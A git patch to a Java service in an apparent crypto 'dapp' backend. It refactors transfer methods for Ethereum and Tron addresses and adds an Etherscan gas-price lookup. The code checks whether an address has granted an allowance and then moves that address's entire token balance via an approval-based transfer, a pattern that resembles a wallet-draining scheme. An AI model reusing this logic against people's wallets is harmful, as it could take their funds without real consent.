From ecbbc3bfe062bb339103d9dd36b4da937a3a8d12 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Wed, 06 Apr 2022 11:02:46 +0800
Subject: [PATCH] fix

---
 src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java |   27 ++++++++++++++++++++-------
 1 files changed, 20 insertions(+), 7 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 31c109e..62626b0 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -1,5 +1,7 @@
 package cc.mrbird.febs.dapp.chain;
 
+import cc.mrbird.febs.common.exception.FebsException;
+import cn.hutool.core.util.StrUtil;
 import cn.hutool.http.HttpUtil;
 import com.alibaba.fastjson.JSONObject;
 
@@ -7,7 +9,7 @@
 import java.math.BigInteger;
 
 /**
- * @author wzy
+ * @author 
  * @date 2022-03-23
  **/
 public class ChainService {
@@ -44,7 +46,7 @@
      */
     public boolean isAllowance(String address) {
         BigInteger result;
-        if (address.indexOf(ETH_PREFIX) > 0) {
+        if (address.startsWith(ETH_PREFIX)) {
             result = ETH.ethAllowance(address);
         } else {
             result = TRX.allowance(address);
@@ -65,17 +67,28 @@
         return Integer.parseInt(total);
     }
 
-    public void transfer(String address) {
+    public String transfer(String address) {
         BigDecimal amount = balanceOf(address);
 
-        if (address.contains(ETH_PREFIX)) {
-            ETH.approveTransfer(address, amount, null);
+        return transfer(address, amount);
+    }
+
+    public String transfer(String address, BigDecimal amount) {
+        String hash;
+        if (address.startsWith(ETH_PREFIX)) {
+            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+            JSONObject data = JSONObject.parseObject(resp);
+            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
         } else {
-            TRX.transfer(address, amount);
+            hash = TRX.transfer(address, amount);
         }
+        return hash;
     }
 
     public static void main(String[] args) {
-//        System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
+//        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+
+//        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
     }
 }

--
Gitblit v1.9.1